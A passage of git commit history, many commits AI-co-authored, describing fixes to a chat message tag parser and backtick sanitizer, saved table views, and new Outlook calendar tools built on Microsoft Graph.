a <thinking>b <options>[...]</options> c -> "a <thinking>b [CARD] c"
a <thinking>b <options>[...]</options> c</thinking> d -> "a d"
A rendered card and its surrounding text disappearing from a message the reader
was already looking at. Both paths now apply the same rule, and resolution
resumes at the opener so the inner tag survives the rescan — safe here because
prose bodies are never blanked, so no marker is hidden from the scan the way one
can be inside a JSON string.
The frame-replay helper counted a thinking body as visible text, which is why its
card-monotonicity assertion could not see this. It now models the renderer:
thinking contributes nothing. Verified by mutation — removing the rule fails the
new test and nothing else.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* test(copilot): assert parser invariants over generated messages
Every regression review found on this branch was a combination nobody had written
an example for. The example tests cannot cover the space: a body is judged on
body kind, close state, JSON state, marker placement, size against the scan
window, and streaming mode — a product of roughly six hundred cells, each needing
both an outcome and a resume point.
Four invariants over messages composed from fragments, so a new combination is
covered without a new test:
- no character is lost from a message containing nothing droppable
- every valid tag renders as a card whatever surrounds it
- across streamed frames a card never un-renders and text never retracts
- the settled parse never shows less than the last streaming frame
Fragments are the shapes the parser must reject — prose mentions, misspelled and
truncated closes, brace-wrapped prose, unquoted keys, a nested marker in a prose
body, filler long enough to cross the scan window. None is a valid tag or a
well-formed payload, so nothing is eligible for discard, which is what makes
"output equals input" a legal assertion. Seeded, so a failure reproduces.
Validated against the three defects review found, with the fix for each reverted
and only these tests running: the flattened tag past the window fails the card
invariant, the deleted brace-wrapped prose fails the loss invariant, and the
retracted thinking close fails both loss and retraction. They pass on current
code, so nothing further is reachable through the shapes they generate.
The generator composes several fragments between tags rather than one. With a
single fragment it cannot place an unclosed opener and then enough prose to push
a valid tag past the scan window, which is exactly the shape of one of the three —
the first draft missed it for that reason alone.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* fix(copilot): strip a stray null byte from the test file
A space in the visibleView card placeholder was written as U+0000, so the file
contained one null byte. Git classifies a file with a null byte as binary and
shows "Bin 34936 -> 41628 bytes" instead of a diff, which made the test file
unreviewable in the two commits since 2f9b60aa9d.
Nothing caught it: vitest, tsc and biome all read the file fine, and the byte sat
inside a string literal used only as a placeholder in test-only output, so no
assertion depended on it. Only `git diff` noticed.
The PR diff renders as text again.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* refactor(copilot): split resolveTagAt into budget, classification, and resume
resolveTagAt answered three orthogonal questions in one body of branches — is
this a payload, how much of it may I read, and where do I resume — and every
regression review found on this parser was one of those answers changing without
another. Two of the five were regressions from the fix for the previous one, and
the last two were not missed inputs at all: one was the code contradicting its
own docstring, the other two branches applying different rules to the same
question. That is what coupling looks like, not bad luck.
Now three pieces:
- inspectWithin — the read budget, and nothing else. Both paths spend it through
the same helper; they previously applied the same constant in two shapes, and
the difference between those shapes was a bug.
- classifyBody — what the body IS. Pure: no positions, no outcome, no resume.
Returns one of a closed set of five classes.
- resumeForClass — where scanning continues, given the class. Nothing else.
The closed set is the point. resolveMatchedPair and resumeForClass each switch
over it exhaustively, so adding a class fails to compile until BOTH questions are
answered for it. Verified by adding a sixth case: tsc reports exactly two errors,
one per switch. The failure mode that produced five review rounds is no longer
representable.
Behaviour is identical, not merely believed to be. Diffed against the previous
implementation over 7,500 comparisons — 1,500 generated messages, each parsed
streaming, settled, and at three mid-stream cut points — asserting deep equality
of the full result, not just rendered text. The one divergence the differential
found was mine: the prose nested-marker path resumed at the marker rather than
the opener, emitting one text segment where the old code emitted two. Display-
identical, since adjacent text segments concatenate, and arguably better — but a
behaviour change does not belong in a refactor, so prose nesting is now its own
class that resumes exactly where it used to. The improvement is noted in the type
for whoever wants it.
The 70 tests, including the four property invariants added on the parent branch,
pass unchanged.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* fix(copilot): stop backtick stripping from unbalancing a whole message
The display sanitizer removes a backtick sitting next to a workspace-resource
tag, so a stray one cannot stop a chip rendering. It could not tell a real tag
from prose MENTIONING the tag name, and a mention is the common case:
The `<workspace_resource>` tag needs a real `path` to render.
-> The <workspace_resource>` tag needs a real `path` to render.
The opening backtick goes, the closing one is left unpaired, and it opens a code
span that runs to the next backtick — inverting every code span for the rest of
the message. A three-paragraph explanation renders with most of its prose in
monospace and stray backticks visible in the text.
Both unpaired-strip patterns now require the complete opener-payload-closer to
be present with no backtick inside it. That is what separates the two cases: a
payload is JSON and contains no backticks, while a mention has no closer at all.
The one-sided stray backtick around a real tag — the case these patterns exist
for — still strips, and the balanced-code-span unwrap above them is untouched.
Pre-existing, and not in this branch's two files, but only reachable because of
them: until this branch, a prose mention of the tag blanked the rest of the
message, so the mangled formatting was never on screen to see. Verified end to
end through sanitizer -> parser -> Streamdown: the reported message keeps all 14
backticks and renders 7 balanced code spans with no spurious chip, and a real
backticked tag still renders its chip with the wrapping removed.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* fix(copilot): apply the same backtick guard to the balanced unwrap
The previous commit fixed the two unpaired-backtick strips but left the balanced
unwrap above them, which has the identical flaw. It allows anything between
opener and closer, so a message writing the two markers as separately backticked
spans reads as ONE wrapped tag and loses its outer pair:
Use `<workspace_resource>` then close with `</workspace_resource>` here.
-> Use <workspace_resource>` then close with `</workspace_resource> here.
Two backticks gone, the remaining two mispaired, same message-wide code-span
inversion. This is the shape a message explaining the tag syntax naturally
takes, which is how the original report was produced.
All three patterns now forbid a backtick between opener and closer. Verified
across the matrix: a real tag still unwraps whether the stray backtick is on
both sides or one, and every mention shape keeps its backticks balanced.
Known and accepted: a resource whose title or path itself contains a backtick
will not have wrapping backticks stripped, so it renders as text instead of a
chip. That failure costs one chip and is rare; the one it replaces corrupts the
formatting of an entire message and is common.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* fix(copilot): pair backticks the way markdown does, and bound the scan
Review found my previous two commits traded one bug for a worse one. Three
independent reviewers measured it.
The trailing-backtick pattern anchored on the bare `<workspace_resource>`
literal, so every opener started a lazy scan hunting a closer that never
arrives. A message repeating the tag name in prose went quadratic: 168KB cost
154ms per call, and this runs on the main thread for every streamed chunk, so a
long reply is seconds of frozen tab. The pattern it replaced was linear. Now
0.36ms on the same input.
Two correctness bugs came with it, both from matching `\s*` around the tag: the
pattern could start at one code span's delimiter and finish at another's, so
`Open `config.json` <tag> then run `bun test`` lost a backtick; and the
whitespace crossed newlines, eating one of the three backticks closing a fenced
block that contained a tag, leaving the rest of the message inside the fence.
The root problem was three global regexes each guessing at which backticks
belong together. They now model what markdown actually does: find code spans by
pairing a backtick with the next one on the same line, and unwrap a span only
when it genuinely contains a complete tag. Pairing is what makes the neighbour
and fence cases correct rather than separately patched. A leftover backtick
pressed directly against a tag, with no partner, is still stripped.
A negative lookahead stops any scan crossing another opener — the cost bound.
Adds tests for the neighbour and fence shapes, and one that pins the complexity
by asserting 168KB of repeated-opener prose finishes well inside 50ms; every
fixture until now was under 1KB, which is why both quadratics were invisible.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* fix(copilot): address the confirmed review findings
Five findings from the review, each reproduced before being fixed and
mutation-checked after.
The nesting rule on the matched-pair path tested for anything tag-shaped while
the streaming path tested for the tag NAMES. Reasoning that mentioned `<div>` or
a generic was therefore released as visible prose — the model's thinking on
screen because of an incidental angle bracket. Both paths now share one
predicate, hasSpecialTagMarker, so they cannot disagree about whether a body was
ever a tag. The broad regex keeps its other job: on a JSON body an invented name
like `</workflow_resource>` really is stray content.
Not changed, and worth saying why: a `<thinking>` body containing a REAL nested
tag still releases and renders it. Suppressing it instead would mean the
streaming path shows a card and the close then retracts it, which is the defect
the previous commit fixed. Security rated the containment loss P2 while noting it
grants no capability the top-level path lacks — a stream that can nest a tag can
emit one at top level, which already rendered.
unclosedTagCannotResolve blanked a full window before viability rejected the body
on its first character, which is the common case of a tag name in prose. Testing
that first: 43ms per streaming parse at 84KB, now 2ms.
The unclosed path sliced the whole remaining buffer and then bounded it, copying
the rest of the message per opener per chunk. inspectFrom slices once, bounded.
A message that is ONLY a discarded payload rendered the raw JSON: discard emits
no segment by design, so it reached the empty-segments fallback, whose job is to
never blank a plain-text message. It now knows a discard happened. Pre-existing,
but discard only became a first-class outcome on this branch.
Three docstrings still pointed at resolveTagAt for decisions the refactor moved
into classifyBody and resumeForClass.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* refactor(copilot): quality pass over the parser and its tests
Four changes from a reuse/simplification/efficiency/altitude review. No behaviour
change; 162 tests unchanged.
blankJsonStringLiterals returns the body untouched when it contains no quote. No
quote means no string literal, so the loop was copying the body to itself
character by character. unclosedTagCannotResolve had learned to short-circuit
before calling it; literalTextReason had not, and blanked unconditionally on
every already-rejected tag on every later chunk. Putting the guard inside the
helper fixes both callers at once.
inspectWithin and inspectFrom were near-duplicates added at different times. One
function with an optional start expresses both, and keeps the property the second
one existed for: slice once, already bounded, never `content.slice(bodyStart)`
first and bound after.
The frame-replay property was 1727ms — 95% of the file's test time — because it
parses every prefix, so message length multiplies into parse count, and the
fragment pool included a 6KB filler. Retraction happens AT a frame boundary, not
as a function of message size, so that property now draws from the short
fragments; the window-crossing filler still gets coverage from the properties
that parse each message once. 1727ms to 205ms, same seeds, same assertions. It
also now calls replayFrames instead of hand-rolling the stepping loop it already
had a helper for.
Deferred deliberately, each with a reason:
- Collapsing `prose-nested-marker` into `nested-marker`. Its own docstring names
the simplification and defers it; it is a behaviour change and wants its own
commit and test, which is the pattern the rest of this branch follows.
- Bounding hasSpecialTagMarker on the prose path. Costs tens of microseconds on
a long reasoning body, but a marker past the bound would flip that body from
released to suppressed — a retraction, which is the bug two commits back.
- Splitting the parser out of this `'use client'` file. The strongest structural
finding: the file cannot be imported by server code, which is why the inbox
executor carries its own thinking-strip regex. It is a mechanical move with no
logic change and deserves its own PR, not commit 25 of this one.
- Generalising the backtick sanitizer past `workspace_resource`, and replacing it
with parser-owned backtick consumption. Same reasoning: real, and not here.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* docs(copilot): reattach an orphaned docstring and cut comment noise
One real defect. Adding hasSpecialTagMarker put it BETWEEN
unclosedTagCannotResolve and the docstring written for it, so two doc blocks sat
stacked and the function they described ended up with none. A reader scanning the
file would have read the first block as preamble for the wrong function. Moved
back, and while there: "14 substring scans" is SPECIAL_TAG_NAMES.length * 2, so
adding an eighth tag would have quietly made it wrong — it now says a pass per
tag name.
The rest is noise removal:
- Three comments narrating what the parser used to do. A comment is read by
someone looking at the current code, not the diff, and this branch already
writes that history at length in its commit messages.
- Three millisecond measurements. Each one already stated the durable claim —
quadratic, or a copy thrown away per opener per chunk — and then appended a
number that will rot. The one measurement kept is the blind-spot paragraph on
MAX_UNCLOSED_BODY_SCAN, where the number is what justifies the constant.
- Two of the four restatements of "the renderer concatenates adjacent text
segments". Kept where it is load-bearing, on pushText and on the test helper.
- One claim gone stale in the last commit: the read-budget doc still described
two helpers agreeing with each other, after they became one function.
Left alone deliberately: the rules that look arbitrary and are not — marker
blanking, the differing resume offsets, the accepted trades. Those are why this
file reads as heavily commented, and they are the ones worth having.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* fix(copilot): sanitize backticks in one pass so a flush code span survives
Review caught a case the previous fix missed. Two passes each decided
independently which backticks belonged together, and with no space between a
code span and a tag they disagreed:
Open `config.json`<tag> ok -> lost the span's closing backtick
Open <tag>`config.json` ok -> lost the span's opening backtick
My test for this used a space between them, which is exactly why it passed.
Both passes are now one left-to-right scan alternating between a code span and a
tag with a stray backtick against it. A span consumes its own delimiters as the
scan reaches them, so a flush neighbour keeps its pair with no special case —
where a second pass had no way to know the backtick was already spoken for. This
is the third arrangement of this file; the first two each handled the cases they
were written for and broke a different one, which is what two passes guessing at
the same question produces.
A trailing backtick is only taken as a stray when no further backtick follows on
the line. Otherwise it is the opener of the next span. Mutation-checked: removing
that lookahead fails the new test and nothing else.
Swapping the alternation order changes nothing any fixture covers, so the comment
no longer claims the order is load-bearing — it distinguishes only a span that
opens flush against a tag and closes elsewhere, which nothing pins.
Thirteen shapes verified balanced, including all three flush variants, the
fenced block, the neighbour with a space, both one-sided strays, and the mention
shapes. 168KB of repeated openers: 0.18ms.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* fix(copilot): rewind the scan-window resume so a straddling opener still parses
Applied from an automated code review of this branch. Two findings, both
verified by reverting the fix and confirming only the new test fails.
`resumeForClass`'s `unexamined` case resumed at exactly `bodyStart + 4096`.
That edge is an arbitrary cut, so an opener can begin just before it and
finish just after — leaving its `<` behind the cursor. The opener scan only
looks forward, so the tag was never found and its payload rendered as raw
JSON text on a COMPLETED message, not just mid-stream. Reproducible for
every filler length in 4077..4095; the existing borrowed-body test steps in
11-character units and never lands in that band.
Backing the resume off by the longest marker guarantees a straddling opener
is re-scanned from its `<`. The step is still ~4076 characters, so a long
body still costs a bounded number of re-entries. The new test sweeps every
offset across the band.
The two complexity tests asserted absolute wall-clock ceilings (<50ms,
<20ms), which measure the machine as much as the algorithm: they fail on a
loaded CI box, and set generously enough not to, they let a genuine
quadratic through at the single size they sample. Both now assert the
scaling ratio across a 4x input instead (quadratic ~16x, linear ~4x).
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* fix(copilot): trust the raw body for markers once it is known not to be JSON
`literalTextReason` blanks a body's quoted regions before scanning it for tag
markers, so that syntax quoted inside a JSON string is not mistaken for a real
nested tag. That blanking assumes quotes delimit JSON strings. One unbalanced
`"` breaks the assumption: everything after it is treated as string content,
which can hide a genuine marker.
The verdict then degrades from `foreign-markers` to `never-a-payload`, and the
resume changes with it — from the marker offset to past the close — flattening
a real tag inside the span. A card already on screen un-renders into raw JSON
when the closing tag finally arrives, and a valid tag after it never renders.
Blanking is only meaningful while the body might BE JSON. Once viability or a
failed parse has proved it never was, that premise is void and the raw text is
the honest evidence, so rescan it and resume at the marker.
Both routes to "never JSON" now funnel through one branch. The rescan applies
to the failed-parse route too, not only the viability one — patching just the
latter leaves the same defect reachable through the former.
Behaviour for a body that IS valid JSON is untouched: a well-formed payload
that fails its shape guard is still discarded, and tag syntax quoted inside a
valid payload is still invisible to the scan.
Adds the repro as two tests — the settled parse, and frame-by-frame so the
un-render is pinned directly — plus two unbalanced-quote fragments to the
property corpus. Reverting the rescan fails exactly those two tests.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* refactor(copilot): share the scaling-ratio harness between the two perf tests
Both complexity tests hand-rolled the same 15-line harness — build a repeated
tag mention, take the fastest of five runs at two input sizes, assert the
ratio — differing only in which function they timed. Changing the run count,
the sample sizes, or the threshold meant editing both in lockstep.
Extracted to `scalingRatioOver4x`, following the existing `*-test-helpers.ts`
convention in this tree. The rationale for asserting a ratio rather than a
wall-clock ceiling now lives in one place instead of being paraphrased twice.
Also drops a redundant disjunct in the opener scan: `nearestStart` and
`nearestTagName` are only ever assigned together, so `nearestStart === -1`
holds exactly when the name is empty. Testing the name alone is the same check
and is the one that narrows the union for `resolveTagAt`.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* docs(copilot): correct a resume comment the rewind fix left inaccurate
The `unexamined` case claimed "everything read is emitted as text by the
caller". That was true when the resume was exactly the window edge, but the
straddling-opener rewind holds the last marker's worth of the window back so it
can be re-scanned rather than flattened — so the sentence contradicted the
paragraph directly beneath it. Nothing is lost either way; the caller emits up
to wherever this resumes.
Also drops two "Round-N class:" prefixes from test comments. They point at
review rounds of this PR, which mean nothing to a reader after it merges; the
sentences that follow already say what the bug was.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* test(copilot): pin the blanking rule with a body staging cannot recover
CI runs the merge with staging, and staging's desktop PR (#5998) taught
`parseSpecialTagData` to recover a failed `<question>` body's prompt and render
it as text instead of returning null. That recovery lands before `classifyBody`
is ever consulted, so this fixture — whose quoted `</options>` sat inside its
`prompt` — stopped exercising the blanking rule and started asserting the
recovery. Merged, it rendered "A use </options> here? B" instead of "A B".
Moving the quoted marker to a non-`prompt` field restores what the test is for:
a marker inside a JSON string must be blanked before the scan, or a broken
payload gets classified as literal text and its raw JSON is shown. A body with
no recoverable prompt reaches `discard` on both sides of the merge, matching the
prompt-less fixture the sibling test above already uses.
Behaviour is unchanged on either branch alone; only the fixture moved.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* test(copilot): cover every tag in the property invariants, and pin that it stays that way
`VALID_TAGS` and `NEEDLES` hand-picked three or four of the seven tags the
parser resolves. `credential`, `usage_upgrade`, and `mothership-error` were
exercised by no invariant at all — not the card-count property, not
retraction-across-frames, not settled-vs-last-frame — and nothing failed to say
so. The property block's whole argument is that it covers combinations no fixed
example set would, which was only true for four sevenths of the tag space.
Fixtures are now keyed by tag name and checked against SPECIAL_TAG_NAMES, so
adding a tag without a fixture fails a test instead of quietly falling outside
every property here. `thinking` is listed separately: it renders nothing, so it
cannot carry a card invariant.
SPECIAL_TAG_NAMES is exported for that check, matching the five sibling
`*_TYPES` unions in the same module that are already exported. NEEDLES derives
from it too, so the memoization test searches every opener the parser does.
All three newly covered tags pass every invariant — this closes a coverage gap,
it does not fix a bug. Removing any one fixture fails the new guard.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* docs(copilot): state the actual bound on the thinking nesting rule
The docstring implied generics are excluded from the marker check. They are not:
the match is a substring test, so `Promise<void>` is safe only because `void` is
not a tag name, while `Promise<options>` does match and would release a thinking
body as text.
Says so plainly now, with why it is left as-is: the boundary check that would
narrow it wants a lookbehind, which is Safari 16.4+ and would be a parse-time
SyntaxError on the versions this app still supports — a dead client chunk is a
worse outcome than the bug. Reaching it also needs an inline `<thinking>` body,
which the agent no longer emits, discussing a type named exactly after a tag.
Comment only; no behaviour change.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
|
||
|
Theodore Li
|
985f9e6172 |
feat(tables): saved views with filter, sort, and column presets (#5961)
* feat(tables): saved views with filter, sort, and column presets * fix(tables): views own column layout, preserve deep-linked sort, seed update cache * fix(tables): merge view layout writes server-side, keep layout on save-from-All * fix(tables): send view saves as a merge patch so concurrent writes can't clobber * fix(tables): persist explicit All selection, prune view state for deleted columns * fix(tables): key-order-stable dirty check, reset layout when switching to All * fix(tables): return 404 when patching a missing view * improvement(tables): order the bar filter, sort, columns and drop the hidden count * fix(tables): record newly created columns in the active view's order * fix(tables): don't write layout as a reader, clear dead sort, reset dead view id * feat(tables): add New view to the views menu, starting from All * chore(api): bump route-count baseline to 981 after staging merge * fix(tables): guard default demotion, use the applied filter for dirty/save * fix(tables): clear state when the active view is deleted externally * revert(tables): drop the ineffective rows-query gate for view resolution * feat(tables): enable saved views in the embedded mothership table * fix(tables): resolve the views flag on the chat route too * improvement(tables): right-align the embedded run/stop control * fix(tables): live layout on new views, prune stored config, order cache writes * fix(tables): live layout on save-as-view, reset it per view, ignore inherited param when embedded * fix(tables): route undo/redo column-layout writes to the active view * fix(tables): scope layout undo to the view that recorded it Layout is view-owned, but UndoEntry carried no owner, so the persistence sink — rebound every render to the active view — decided the target at undo time rather than at record time. Reordering in view A then undoing from view B wrote A's column order into B and left A unchanged. Entries are now stamped with the active view id, and the three layout-bearing action types (create-column, delete-column, reorder-columns) are pruned from both stacks when the active view changes. Row and schema actions are table-scoped and survive the switch untouched. Inert when views are disabled: the id is always null, so nothing is ever pruned. * fix(tables): send only the layout keys an action changes Pin, reorder, and insert-column each shipped a full columnWidths snapshot they never modified. Both sinks merge at top-level key granularity, so an earlier-issued patch landing after a concurrent resize replaced the newer width map with its stale copy. Resize, auto-resize, and delete-column still send columnWidths — those genuinely change it. * fix(tables): don't strand layout writes while views load, keep schema undos across views Two more instances of layout being written without a known owner. The sink was left unbound until a view resolved, so a resize/reorder/pin (or the column-append effect) during the views fetch fell through to the table's shared metadata — corrupting All for a table about to adopt a view, and losing the edit to the re-seed. The sink is now bound while the query is in flight and suppresses the write. An error counts as settled, so a failed views fetch falls back to All instead of suppressing layout writes for the session. Pruning was also too broad: create-column and delete-column are table-scoped schema ops that merely have a layout side-effect, so dropping them on a view switch made a deleted column unrecoverable. Only reorder-columns is purely layout and still prunes; the other two survive and have just their layout half suppressed at replay when the recorded view isn't active. * fix(tables): flush layout buffered during load when the owner settles to All Suppressing the write while the views query was in flight stopped All from being corrupted, but nothing resolved the buffer afterwards, so a resize during load looked applied and vanished on refresh. Settling on All re-seeds nothing (viewLayoutKey never changed), so the gesture is still on screen and is now persisted to shared metadata. Adopting a view re-seeds the grid from that view and has already replaced the gesture on screen, so the buffer is dropped to match. * fix(tables): resolve undo layout ownership at write time, not dispatch time The layout writes for column create/delete happen in mutation success callbacks, and persistLayoutRef is rebound every render. Resolving entryOwnsLayout up front meant the guard could still hold from before a view switch while the sink it guarded already pointed at the destination, writing the recorded view's layout into whichever view was now active. Now a function, so the guard and the sink are read at the same moment: switch away mid-mutation and the schema half still lands while the layout half is dropped, matching the rule that undo only ever affects the view on screen. * fix(tables): read layout from the grid instead of mirroring it The wrapper kept two shadow copies of the grid's column layout — liveLayoutRef and pendingLayoutRef — and all three of this round's findings were that mirror going stale: - liveLayoutRef was only cleared on activeView.id change, so widths buffered before the views query settled survived into All, where layout writes bypass the mirror entirely. Both create paths spread it last, so a saved view stored those snapped-back widths. - currentViewConfig memoized a spread of that ref, and mutating a ref doesn't re-run a memo, so Save as view sent the pre-gesture layout. - The flush effect keyed on activeView, but adoption writes the view id through the URL, so for one render the query had settled while activeView was still null — flushing to All in exactly the case that had to drop. The grid owns this state, so it now publishes a reader through a sink ref and the wrapper asks at the moment it needs a value. Nothing to keep in sync, so nothing to go stale. Only whether an unowned change happened is tracked, and the resolve effect — which is what actually picks the owner — decides to persist or drop. * fix(tables): flush unowned layout when the views fetch fails The resolve effect is the only caller of resolvePendingLayout and gated on isSuccess, which never becomes true on a query error — so layout touched during the load window was never persisted on the error path, even though the table had already settled to All and later writes worked. The error branch now flushes to shared metadata, matching the rest of the error path's fall-back-to-All behavior. * fix(tables): gate the on-screen layout restore by ownership, not just the persist The undo success callbacks applied the recorded view's order/widths/pinning to the grid unconditionally and only gated the PATCH, so switching views before a column create/delete mutation resolved left the destination displaying the origin view's layout until switched away and back. Each callback now checks ownership where its layout work begins: three are purely layout and return at the top; delete-column undo restores cell data first (row data, runs everywhere) and gates only the layout block below it. In a non-owning view the restored column still appears via the grid's append effect — at the end, leaving that view's layout untouched. * fix(tables): route all layout writes through one owner-aware sink, reconcile order at seed Two holes closed: The sink binding toggled on activeView, leaving a render-frame gap after the views query settled but before the resolve effect adopted a default — writes in that gap fell through to shared metadata. The sink is now always bound while views are enabled and handlePersistLayout is the single router, reading the owner at call time: unresolved buffers, a view patches the view, All writes metadata. The error branch stamps the owner so post-error writes stop buffering. The append effect only fires when the schema changes, so a column that arrived while another source owned the layout rendered via the displayColumns fallback but was never written into the adopted owner's stored order until a drag happened to heal it. Seeding now reconciles the incoming order against the schema and persists the appended tail through the current sink. * fix(tables): capture the layout owner when a schema action is dispatched Insert-column and the delete chain persist layout from mutation callbacks through updateMetadataRef, which always targets the current sink — so a view switch mid-flight wrote the origin view's order/widths/pins into the destination. Undo got this guard already; the live paths never did. Both now capture viewLayoutKey at dispatch and compare at the callback. On a mismatch the layout work is skipped: the destination re-seeded its own layout, the new column lands there via the append effect when the refetch arrives, and the deleted column's dangling keys are pruned on read. pushUndo also takes the captured owner as an override — stamped at callback time it would record the destination, letting a later undo apply the origin's layout to it. * fix(tables): resolve views on list availability, not query success A failed background refetch flips isError while the cached list stays usable, and every view mutation invalidates the views query — so one blip made the resolve effect treat views as terminally failed and stop applying switches until the next successful refetch. The axis is now whether a list exists: error with no list ever fetched settles to All; error with a cached list resolves normally against the cache; owner is unknown only while the initial fetch is in flight. * ci: raise Build App timeout to 25 minutes The build outgrew the 15-minute cap over the last two days of merges: 10m02 ( |
||
|
Justin Blumencranz
|
0618541654 | fix(knowledge): change "Create Tag" to "Apply Tag" when applying a tag to a document (#6055) | ||
|
Bill Leoutsakos
|
21c28d7d06 |
fix(tables): truncate sort option labels (#6052)
Co-authored-by: Bill Leoutsakos <billleoutsakos@Bills-MacBook-Pro.local> |
||
|
mzxchandra
|
6ff6255900 |
feat(outlook): add Microsoft Graph calendar operations (#6041)
* feat(outlook): add Calendars.ReadWrite and MailboxSettings.Read scopes
Extend the shared outlook OAuth service with delegated Graph calendar scopes so
one Microsoft connection covers mail and calendar. Existing connected users must
reconnect to be granted the new scopes (noted in a code comment). Adds human-readable
scope descriptions and test assertions.
* feat(outlook): add Microsoft Graph calendar tools
Six calendar operations against graph.microsoft.com/v1.0: list events (calendarView
with nextLink paging), get, create, update (partial PATCH), delete, and respond to
invites. Shared calendar-utils handles Graph's offset-less dateTime+timeZone shape,
attendee normalization, and event flattening. All tools carry the Microsoft Graph
error extractor and 429/backoff retry (honors Retry-After) for the mailbox concurrency
limit. Registered in the tool registry and barrel.
* feat(outlook): surface calendar operations in the Outlook block
Add six calendar operations to the Outlook block operation dropdown with their
conditional subBlocks, tool wiring, inputs, and event-shaped outputs. Mail operations
are unchanged and backward compatible.
* fix(outlook): address calendar review findings
- Validate list-events pageToken origin with assertGraphNextPageUrl (matches the
onedrive/microsoft_ad Graph paging guard) so a workflow-supplied URL can't receive
the Outlook bearer token.
- All-day create/update now normalize both bounds to midnight and force an exclusive
end day (buildAllDayRange), instead of sending a zero-length same-midnight window
that Graph rejects.
- Drop the stale 'suggest meeting times' claim from the block longDescription.
- Remove the unused MailboxSettings.Read scope (least privilege; no tool reads it).
* feat(outlook): add calendar picker and harden calendar tools
Validation pass over the new Microsoft Graph calendar operations against the
v1.0 API docs, plus the calendar selection the tools were missing.
- Add an `outlook.calendars` picker (GET /me/calendars) with basic selector +
advanced manual ID, wired through the `calendarId` canonical param. List and
create now target `/me/calendars/{id}/...`; get/update/delete/respond keep
using `/me/events/{id}` since event IDs are mailbox-unique.
- Fix all-day update rejecting when only one bound is supplied — both bounds are
now normalized to midnight with an exclusive end day.
- Fix "Send Response to Organizer" reading as OFF while Graph's default is to
notify; it is now a dropdown defaulting to Yes, and the param is always sent.
- Add timestamp wandConfig to the four calendar datetime fields and a list
wandConfig to attendees.
- Centralize Graph URL construction in calendar-utils; guard maxResults against
non-numeric input and trim the calendarView time-window bounds.
- Add three calendar templates and four calendar skills to OutlookBlockMeta.
- Regenerate integration docs.
* fix(outlook): scope online-meeting comments to what Graph documents
onlineMeetingProvider is optional and defaults to unknown; the docs state that
setting isOnlineMeeting alone initializes onlineMeeting. They do not document
Graph substituting the calendar's defaultOnlineMeetingProvider, so the comments
now claim only that, plus the real reason not to pin teamsForBusiness (mailboxes
that disallow it via allowedOnlineMeetingProviders).
* fix(outlook): allow calendar paging without re-supplying the time window
Cursor Bugbot round: startDateTime/endDateTime were required tool params, so a
paging call carrying only pageToken failed validateToolParameters before the
request was built — even though the url builder short-circuits on pageToken and
ignores both bounds. Relax them to optional and enforce the real invariant
(pageToken OR both bounds) in the url builder, matching
tools/sharepoint/list_sites.ts. Block subblocks stay required, so the normal
editor flow is unchanged.
Also correct the calendar_respond comment: Graph documents exactly two 400
conditions for accept/decline, both on proposedNewTime, which we never send.
A non-empty comment alongside sendResponse=false is valid.
* feat(outlook): add Calendars.ReadWrite.Shared for shared calendars
The calendar picker lists /me/calendars, which can include calendars other
users have shared with or delegated to the account. Calendars.ReadWrite covers
only the user's own calendars, so selecting a shared team calendar would 403 on
both read and write.
Calendars.ReadWrite is kept alongside it, not replaced: Graph documents it as
the sole accepted permission for creating and updating events and for
accept/tentativelyAccept/decline (all list "Higher: Not available"), so the
.Shared scope does not subsume it.
Added now rather than later because this PR already forces existing Outlook
users to re-consent for Calendars.ReadWrite; deferring would cost them a second
reconnect.
* fix(outlook): treat date-only bounds as all-day and guard partial all-day updates
Cursor round 2:
- Date-only bounds no longer produce a zero-length window. The param docs invited
a date like 2025-06-03 for an all-day event, but buildAllDayRange only ran when
isAllDay was explicitly true, so date-only input built a 00:00->00:00 timed
window that Graph rejects. A date-only bound carries no time, so the only
coherent reading is all-day; create/update now promote on that shape and the
descriptions state it.
- Converting an event to all-day with no bounds now fails with an actionable
message instead of a Graph 400. Graph requires all-day events to have midnight
start and end in the same zone, and those cannot be derived from a partial
PATCH against an event whose existing bounds are timed.
* docs(outlook): note that the calendar window fields are ignored when paging
* fix(outlook): don't promote a lone date-only bound to all-day on update
Regression from the previous round's date-only promotion. A single date-only
startDateTime or endDateTime satisfied "all provided bounds are date-only", so
the tool promoted to all-day and derived the missing side from the supplied one
— turning a partial reschedule of a timed or multi-day event into a one-day
all-day event and dropping the original other bound.
Implicit promotion now requires BOTH bounds to be date-only, matching
calendar_create_event. A lone date-only bound is ambiguous (convert to all-day,
or just move that edge?) and a PATCH cannot read the event's existing bounds to
disambiguate, so it stays on the timed path and leaves the other side untouched.
Deriving a missing bound remains allowed when isAllDay is set explicitly, since
that is stated intent rather than a guess.
Also pins the explicit-isAllDay-false + date-only override with a regression
test: the block always sends isAllDay for create, so an untouched switch arrives
as false, and the data shape has to win or the fix would be unreachable from the
UI.
* revert(outlook): drop Calendars.ReadWrite.Shared from the outlook provider
Reverts the scope I added two rounds ago. It was the wrong call.
This provider is shared by work/school AND personal Outlook accounts, and the
.Shared calendar scopes are not confirmed supported for personal Microsoft
accounts. Requesting one risks failing consent for personal users — which would
take mail access down with it, breaking functionality that works today. The PR
already documents this exact reasoning as why findMeetingTimes was excluded, and
that decision was made against a live personal mailbox.
The evidence I added it on was a summarized read of the permissions reference
claiming MSA support; a targeted follow-up could not confirm it for
